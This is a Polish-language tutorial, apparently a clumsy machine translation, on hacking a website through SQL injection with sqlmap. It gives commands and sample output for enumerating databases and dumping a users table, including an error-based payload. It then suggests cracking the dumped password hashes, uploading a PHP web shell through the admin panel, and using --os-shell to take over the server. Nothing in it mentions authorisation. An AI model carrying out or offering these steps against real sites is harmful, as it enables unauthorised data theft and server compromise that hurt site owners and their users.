Sqlmap
Sqlmap jest jednym z najbardziej popularnych i potężnych narzędzi do automatyzacji SQL injection. Biorąc pod uwagę podatny adres URL żądania http, sqlmap może wykorzystywać zdalną bazę danych i wykonywać wiele hakerów, takich jak wyodrębnianie nazw baz danych, tabel, kolumn, wszystkich danych w tabelach itp.
może nawet odczytywać i zapisywać pliki w zdalnym systemie plików pod pewnymi warunkami. Napisany w Pythonie jest jednym z najpotężniejszych narzędzi hakerskich. Sqlmap jest metasploit SQL Injection.
Sqlmap jest zawarty w pen testing Linux distros takich jak Kali linux, backtrack, backbox itp. Na innych dystrybucjach można go po prostu pobrać z następującego adresu url
http://sqlmap.org/.
ponieważ jest napisany w Pythonie, najpierw musisz zainstalować Pythona w swoim systemie. Na ubuntu zainstaluj Pythona z synaptic. W systemie windows Zainstaluj ActiveState python. Sprawdź ten post, aby uzyskać szczegółowe informacje na temat instalacji i uruchamiania sqlmap w systemie windows.
aby uzyskać listę opcji i parametrów, które mogą być używane z poleceniem sqlmap, sprawdź dokumentację sqlmap pod adresem
https://github.com/sqlmapproject/sqlmap/wiki/Usage
w tym samouczku nauczymy się, jak używać sqlmap do exploitowania podatnej aplikacji internetowej i zobaczymy, co można zrobić za pomocą takiego narzędzia.
aby zrozumieć ten poradnik, powinieneś mieć gruntowną wiedzę na temat pracy aplikacji internetowych opartych na bazach danych. Na przykład te wykonane z php + mysql.
podatne adresy URL
powiedzmy, że istnieje aplikacja internetowa lub strona internetowa, która ma w sobie adres url, taki jak ten
http://www.site.com/section.php?id=51
i jest podatna na wstrzyknięcie sql, ponieważ deweloper tej strony nie uciekł poprawnie z identyfikatora parametru. Można to po prostu przetestować, próbując otworzyć adres url
http://www.site.com/section.php?id=51'
właśnie dodaliśmy pojedynczy cytat w parametrze. Jeśli ten adres URL zgłasza błąd lub reaguje w nieoczekiwany sposób, to jest oczywiste, że baza danych ma nieoczekiwany pojedynczy cytat, z którego aplikacja nie uciekła prawidłowo. Tak więc w tym przypadku ten parametr wejściowy ” id ” jest podatny na SQL injection.
Hacking z sqlmap
teraz nadszedł czas, aby przejść do sqlmap, aby zhakować takie adresy URL. Polecenie sqlmap jest uruchamiane z terminala za pomocą interpretera Pythona.
1. Skanowanie zdalnego systemu
pierwsze polecenie skanuje zdalny system, aby sprawdzić, czy jest podatny na SQL injection, a następnie zbiera informacje o nim.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51"
powyższe jest pierwszym i najprostszym poleceniem do uruchomienia za pomocą narzędzia sqlmap. Sprawdza parametry wejściowe, aby dowiedzieć się, czy są one podatne na SQL injection, czy nie. Dla tego sqlmap wysyła różne rodzaje ładunków SQL injection do parametru wejściowego i sprawdza wyjście.
w procesie sqlmap jest również w stanie zidentyfikować zdalny system operacyjny, nazwę bazy danych i wersję. Oto jak wyjście może wyglądać
starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5
więc narzędzie sqlmap odkryło system operacyjny, serwer WWW i bazę danych wraz z informacjami o wersji. Nawet to jest imponujące. Ale nadszedł czas, aby przejść i zobaczyć, co więcej jest w stanie to narzędzie.
2. Odkryj bazy danych
gdy sqlmap potwierdzi, że zdalny adres url jest podatny na wstrzyknięcie sql i można go wykorzystać, następnym krokiem jest znalezienie nazw baz danych, które istnieją w zdalnym systemie. Opcja „– dbs ” jest używana do pobrania listy baz danych.
$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
wyjście może być mniej więcej takie
starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics
wyjście pokazuje istniejące bazy danych w zdalnym systemie.
3. Znajdź tabele w konkretnej bazie
teraz nadszedł czas, aby dowiedzieć się, jakie tabele istnieją w konkretnej bazie danych. Powiedzmy, że interesującą bazą danych jest 'safecosmetics’
polecenie
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
i wyjście może być podobne do tego
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables
czy to nie jest niesamowite ? oczywiście. Pozwala uzyskać kolumny konkretnej tabeli teraz.
4. Pobierz kolumny tabeli
teraz, gdy mamy listę tabel z nami, dobrym pomysłem byłoby pobranie kolumn jakiejś ważnej tabeli. Powiedzmy, że tabela jest 'users’ i zawiera nazwę użytkownika i hasło.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
wyjście może być takie
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+
więc teraz kolumny są wyraźnie widoczne. Dobra robota!
5. Pobierz dane z tabeli
teraz przychodzi najciekawsza część, ekstrakcji danych z tabeli. Polecenie byłoby
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
powyższe polecenie po prostu zrzuci dane konkretnej tabeli, bardzo podobnie jak polecenie mysqldump.
wyjście może wyglądać podobnie do tego
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
kolumna hash wydaje się mieć hash hasła. Spróbuj złamać hash, a otrzymasz od razu dane logowania. sqlmap utworzy plik csv zawierający dane zrzutu dla łatwej analizy.
do tej pory udało nam się zebrać wiele informacji ze zdalnej bazy danych za pomocą sqlmap. To prawie jak bezpośredni dostęp do zdalnej bazy danych za pośrednictwem klienta takiego jak phpmyadmin. W realnych scenariuszach hakerzy staraliby się uzyskać wyższy poziom dostępu do systemu. W tym celu spróbowaliby złamać hashe hasła i spróbować zalogować się przez panel administracyjny. Lub próbowaliby uzyskać powłokę os za pomocą sqlmap.
napisałem kolejny post na temat korzystania z sqlmap, aby uzyskać więcej szczegółów na temat zdalnych baz danych. Wyjaśnia inne opcje sqlmap, które są przydatne do znalezienia użytkowników bazy danych, ich uprawnień i ich skrótów haseł.
co dalej ?
gdy będziesz w stanie skanować i zbierać dane z podatnego systemu, Czas go wykorzystać i sprawdzić, czy jest to możliwe, aby uzyskać dostęp do systemu. Sqlmap może zrobić kilka rzeczy, takich jak wykonywanie zapytań sql na zdalnym systemie, uruchamianie zdalnej powłoki w systemie itp.
1. Wykonuj dowolne zapytania sql
jest to prawdopodobnie najłatwiejsza rzecz do zrobienia na serwerze, który jest podatny na SQL injection. Parametr — SQL-query może być użyty do określenia zapytania sql do wykonania. Interesujące byłoby utworzenie użytkownika w tabeli użytkowników lub czegoś podobnego. Lub może być zmiana / modyfikacja zawartości stron cms itp.
inny parametr –SQL-shell dałby interfejs podobny do powłoki sql do interaktywnego uruchamiania zapytań.
2. Wejdź do panelu administracyjnego i odtwórz
Jeśli na stronie działa jakiś Niestandardowy cms lub coś podobnego, który ma panel administracyjny, może być możliwe dostanie się do środka, pod warunkiem, że będziesz w stanie złamać hasło pobrane z zrzutu bazy danych. Proste i krótkie hasła mogą być łamane po prostu przez brutalne wymuszanie lub google.com.
sprawdź, czy panel administracyjny umożliwia wgrywanie niektórych plików. Jeśli można przesłać dowolny plik php, będzie to dużo większa zabawa. Plik php może zawierać wywołania funkcji shell_exec, system ,exec lub passthru, które pozwolą na wykonywanie poleceń systemu arbitary. Skrypty PHP web shell mogą być przesyłane w celu zrobienia tego samego.
3. Powłoka na zdalnym systemie operacyjnym
To jest to, co należy zrobić, aby całkowicie przejąć serwer. Należy jednak pamiętać, że nie jest to tak proste i trywialne jak sztuczki pokazane powyżej. sqlmap jest dostarczany z wywołaniem parametru — os-shell, który może być użyty do próby uzyskania powłoki na zdalnym systemie, ale ma wiele własnych ograniczeń.
zgodnie z instrukcją sqlmap
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
najważniejszym uprawnieniem wymaganym przez bieżącego użytkownika bazy danych jest zapis plików za pomocą funkcji bazy danych. W większości przypadków jest to nieobecne. Dlatego ta technika nie będzie działać w większości przypadków.
Uwaga
1. Czasami sqlmap nie jest w stanie połączyć się z adresem url. Jest to widoczne, gdy utknie przy pierwszym zadaniu „testowanie połączenia z docelowym adresem url”. W takich przypadkach pomocne jest użycie opcji „– random-agent”. To sprawia, że sqlmap używa poprawnego podpisu agenta użytkownika, takiego jak ten wysyłany przez przeglądarkę, taką jak chrome lub firefox.
2. Dla adresów URL, które nie są w formie param = wartość sqlmap nie może automatycznie wiedzieć, gdzie wstrzyknąć. Na przykład adresy URL mvc, takie jak http://www.site.com/class_name/method/43/80.
w takich przypadkach sqlmap musi być poinformowany o punkcie wstrzyknięcia oznaczonym *
http://www.site.com/class_name/method/43*/80
powyższe powie sqlmap, aby wstrzyknął w punkcie oznaczonym *
3. Podczas korzystania z formularzy, które przesyłają dane za pomocą metody post, sqlmap musi otrzymać dane post w opcjach „– data”. Aby uzyskać więcej informacji, zapoznaj się z tym samouczkiem na temat korzystania z sqlmap z formularzami.